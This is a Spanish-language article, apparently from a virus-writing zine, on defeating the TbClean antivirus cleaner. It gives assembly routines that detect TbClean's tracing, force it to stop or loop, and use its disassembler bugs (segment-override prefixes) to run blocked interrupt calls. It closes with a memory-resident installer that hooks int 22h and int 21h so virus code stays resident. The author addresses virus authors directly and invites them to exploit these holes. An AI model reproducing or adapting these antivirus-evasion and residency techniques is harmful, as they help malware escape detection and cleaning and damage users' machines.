Inconvenientes de ciertos antivirus (Tbav).
Como las críticas al soft están permitidas y aún hay contertulios que tie- nen al TBAV y toda su familia de herramientas como si fuesen dioses, vamos a tratar de desmitificar un poco el asunto y descubrir unos cuantos fallos en su estructura de seguridad, si es que existe :)
Más tralla al TbClean
Como sabréis por mi último informe al respecto, el TbClean utiliza un mo- do de debuggeo normal... el señorito Frans Veldman tenía mucho trabajo como para ponerse él solito a hacer un debugger propio. Pues chachi... :)
Esto nos va a facilitar las cosas un montón, y ahora veremos por qué. Por supuesto, detectar si nos está debuggeando el TbClean es trivial, y ya os enseñé un buen método en mi primer informe:
trace_check: mov ax,29Ah ;) push bp ax pop ax mov bp,sp cmp word ptr ss:[bp-2],ax pop bp jne tbclean_on! ret
Bueno, pues en este informe vamos a ver más métodos y... sí, aunque pa- rezca imposible... más pequeños. Y también nos vamos a preocupar de otros asuntos, como son las barreras de ejecución que tiene el TbClean.
Desde el 'escándalo' con el virus Varicella, que hacía de todo cuando lo traceaban, Franzz se puso las pilas y le implementó al TbClean un limita- dor de ejecución; así, por ejemplo, ahora ya no se ejecutan llamadas a interrupciones, ni se puede dejar nuestro virus residente... :)
Pues, amigos, esto también ha caído. Y es precisamente uno de los temas más importantes de este informe, y creo que un agujero de seguridad lo suficientemente grande como para que cualquier autor de virus con un poco de pericia lo explote y escriba funciones retro específicas.
--------------------- Detección del TbClean ---------------------
1. Por pila ;) -------------- Sí, amigos... otro método más por pila; como todo debugger, el TbClean debe controlar la pila para que no pete la ejecución si en medio del có- digo se cambian los valores de SS:SP.
Sin embargo, podemos aprovecharnos de un agujerito de seguridad para con- seguir que deje de tracearnos y acabe la 'emulación' ;) El método es sen- cillo: basta con hacer que la pila apunte a nuestro código de forma mo- mentánea y que luego vuelva a apuntar a donde estaba antes... así:
make_tbc_quit: cli neg sp neg sp sti
2. Simulación del entorno ------------------------- El TbClean, para que la ejecución de los programas funcione correctamente al tracearlos, construye un PSP debajo de nuestro código, tal y como hace el DOS. De todas formas, para evitar que consigamos información sobre el sistema desde nuestro virus, el TbClean hace un pequeño cambio.
Como sabréis, la palabra situada en el offset 16h del PSP contiene el segmento del PSP padre... pues bien... el TbClean modifica esta palabra y hace que apunte a su propio PSP. Así, el programa que estamos traceando es a su vez el hijo y el padre... le falta el espíritu santo :) amén :)
Pues bien... aprovechando que, excepto el intérprete de comandos, ningún programa comete el incesto de ser su propio padre, podemos saber si esta- mos siendo traceados por el TbClean con una simple comparación:
detect_tbc: mov bx,ds ; DS apunta al PSP cmp bx,word ptr ds:[16h] je tbclean_on!
3. Censura 'inteligente' ------------------------ Cuando hacemos llamadas a funciones relacionadas con el PSP en nuestro código (ej. 51h, 62h...), el TbClean no las ejecuta... esto... en reali- dad, no ejecuta ninguna interrupción, como ya dijimos antes :) De todas formas, oh maravilla, el TbClean deja de tracear un programa cuando en él se hace una llamada para crear un PSP, porque con esto podríamos sobrees- cribir código... pues aquí tenéis otro buen ejemplo de código:
code segment byte public assume cs:code,ds:code org 100h
start: mov ah,55h mov dx,ds add dx,12h int 21h
mov ah,50h mov bx,cs int 21h int 20h
code ends end start
4. 'Back to entrypoint' ----------------------- Es uno de los flags que suelen saltar en los virus que tienen su código al descubierto... y es precisamente de lo que se fía el TbClean para de- sinfectar, ya que es un rasgo característico -y obligatorio- de la inmen- sa mayoría de los virus.
El TbClean deja de tracear los ficheros COM cuando CS:IP llega a CS:100h por segunda vez, ya que se supone que el virus ha restaurado los primeros bytes de la cabecera del host y ahora salta a ejecutarlo. Pues ahora de- cidme si hay algo más fácil que poner un simple 'loop $' en CS:100h antes del salto al código vírico :)
Pero ahí no se acaban los recursos... otra técnica consiste en poner un 'cmc' en CS:100h y un 'jc 100h' en CS:101h... al ejecutarse, el carry flag está sin inicializar, por lo que el 'cmc' lo pondrá activo, y el programa saltará de nuevo al inicio... mientras que el TbClean detendrá el traceo pensando en el 'back to entrypoint', la ejecución normal conti- nuará, ya que la instrucción 'cmc' hace un not del carry flag... esto es, que si está activado, lo desactiva, y si está desactivado, lo activa :)
De todas formas, no sé por qué cojones esta técnica no siempre funciona :-? Y a raíz de haber probado y probado, me he dado cuenta de que, para hacer que el TbClean se meta en un loop infinito, basta simplemente con poner un 'jc $' en la primera línea de nuestro código :)
------------------------ Bugs en el desensamblado ------------------------
1. Registros de 16 bits e inmediatos de 8 bits ---------------------------------------------- Cuando el TbClean se encuentra con una operación de tipo xor/or/and/add, o sub con un registro de 16 bits y un inmediato de 8 bits, su desensam- blador de código canta ópera: interpreta el inmediato como si fuese de 16 bits, y no de 8... (¡!). Fijaros en este ejemplo:
normal_code: mov dx,4 ; Código normal, tal y co- int 21h ; mo fue escrito
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
tbclean_code: mov dx,0cd04h ; El TbClean lo interpre- int 21h ; tará de esta forma :-o
2. Los reps y los overrides de segmento --------------------------------------- El desensamblador de código del TbClean también casca estrepitosamente cuando se incluyen overrides de segmento antes de los opcodes correspon- dientes. No es raro encontrarnos instrucciones que constan de cuatro op- codes divididas en dos (¡o más!) compuestas por todas las combinaciones posibles: 1+3, 2+2, 3+1 :)
Así, no hay problema para cepillarnos su limitación de no ejecutar ins- trucciones... basta con poner un override de segmento (2eh -> cs:) delan- te de cada llamada a una interrupción para hacer que el TbClean lo ejecu- te como si fuese lo más inofensivo del mundo... :)
Ah, por cierto... para los amantes del humor que probásteis el truquito de saltar a la memoria de vídeo para hacer que el TbClean se tirase un buen rato traceando mierda... aquí tenéis otro parecido; es un vulgar vi- rus overwriting pero que estoy seguro de que os gustará ;)
code segment byte public assume cs:code,ds:code org 100h
virus_start label byte virus_size equ virus_end-virus_start
start: [...CóDIGO VETADO POR FIDO :)...]
virus_end label byte
code ends end start
----------------------- El desmadre, la bacanal -----------------------
1. El bug --------- Está claro que el 'filtro' de censura del TbClean tiene que estar por al- guna parte... y, en efecto, está :) Una parte del desensamblador es la que se ocupa de determinar si un opcode se puede ejecutar o no.
Y, como era de suponer, los overrides también nos permiten en estos casos hacer maravillas con el discriminador de código destructivo/no destructi- vo del TbClean... :) Por cierto... debido a que el TbClean interpreta ca- da instrucción con override como un grupo de cuatro opcodes, no os olvi- déis de poner un 'nop' detrás de cada llamada a cada interrupción ;)
2. Quedemos residentes utilizando el TbClean -------------------------------------------- Sigamos principalmente dos pasos... el primero, hacer que el vector de cualquier interrupción apunte a nuestra rutina de residencia; y segundo, ejecutar esa interrupción :)
Es la ventaja que tenemos... ya nos hemos saltado la protección de las llamadas a interrupciones desde el TbClean, y sabemos que, cuando se lla- ma a una interrupción, el modo de debuggeo se pone en modo off. Pues ya lo tenemos: haciendo que el handler de cualquier interrupción sea el có- digo que queremos ejecutar y llamando a esa interrupción, ya no va a ha- ber ningún filtro de código maligno ni ninguna gaita... simplemente, y ya que el modo de debuggeo está apagado, somos LIBRES ;)
De todas formas, no empecemos a chuparnos las pollas. Debéis recordar que aún estamos ejecutándonos bajo el PSP falso... pero es que este Veldman está en todo: eso de crearse un bloque de entorno especial para el pro- grama que el TbClean va a tracear es un coñazo, ya que el puntero que ne- cesita (en 2ch) apunta al bloque de entorno propio del TbClean.
Pues ahora sí... como sabréis, el bloque de entorno suele estar situado justo antes del programa que se está ejecutando... bien, pues nos bastará con ir desde el bloque de entorno hasta el siguiente MCB en la cadena a su MCB; a partir de aquí, el código es completamente estándar; bastará con decrementar el tamaño, copiar el virus en memoria, etc.
Una vez hecho esto, simplemente un pequeño detalle: supongo que todos es- taréis pensando en enganchar la int 21h como posesos... pues cuidadín, porque el TbClean la restaura al salir con los valores originales :) Pero siempre hay recursos para todo; a ver qué os parece éste: enganchad la int 22h... pero cambiando el vector en el PSP -en el falso, en el que nos pone el TbClean- en el offset 0ah (allí está almacenado el vector origi- nal), y enganchad la int 21h desde el handler de la int 22h ;)
Y a partir de aquí, simplemente haced un 'iret' desde la interrupción... el TbClean seguirá traceando más código vírico en busca de alguna infor- mación para poder desinfectarlo... <g>. Una vez que haya acabado, nuestro virus estará activo en la int 22h, y no habrá ningún problema, porque es- to mismo os funcionará tanto bajo DOS como bajo el TbClean. Fijaros en el ejemplo de código, que seguro que lo entenderéis mejor:
virus_start: push ds es call delta_offset
delta_offset: pop dx mov ax,2503h add dx,(new_int_3-delta_offset)
push cs pop ds
segds int 21h nop
segds db 0cch nop
pop es ds mov bx,ds add bx,10h call fewl_tbc
fewl_tbc: pop si add bx,word ptr cs:[si+(old_cs-fewl_tbc)] push bx push word ptr cs:[si+(old_ip-fewl_tbc)]
xor ax,ax xor bx,bx xor cx,cx cwd xor si,si xor di,di retf
old_cs dw 0fff0h old_ip dw ?
new_int_3: push es pop ds
mov ax,0badh int 21h
cmp bx,0faceh jz dont_install
xor di,di mov bp,word ptr ds:[di+2ch] dec bp mov ds,bp add bp,word ptr ds:[di+3] inc bp mov ds,bp cmp byte ptr ds:[di],'Y' ja install_virus
dont_install: iret
install_virus: sub word ptr ds:[di+3],((virus_size/10h)+2) sub word ptr ds:[di+12h],((virus_size/10h+2) mov es,word ptr ds:[di+12h] mov si,dx sub si,(new_int_3-virus_start) mov cx,virus_size
push cs pop ds rep movsb
mov ds,bp mov si,1ah movsw movsw
mov word ptr [si-4],offset new_int_22h mov word ptr [si-2],es iret
Bueno, y esto continuaría... ¡no pretendáis que os escriba el virus ente- ro, que esto es sólo un ejemplo! :) Por cierto, la rutina de residencia está escrita de una forma clara; no pretendáis que me ponga a optimizar código del que se pretende que la gente aprenda :)
Creo que falta por ahí alguna etiqueta por definir, pero es fácil de adi- vinar, así que lo dejo de vuestra mano... }:) Pues eso... el código que acabáis de ver deja cualquier porción de código residente en memoria (en concreto, el código que hay en la etiqueta 'new_int_22h'), tanto si se está ejecutando en condiciones normales, como si lo está traceando el ma- ravilloso TbClean ;) Pues eso es todo, folx... ahora el resto ya sabéis que corre a vuestra cuenta :)
[Indice general] - [Sexo] - [linux] - [humor] - Chat entre usuarios - [miscelanea] - [Novedades] -
![]()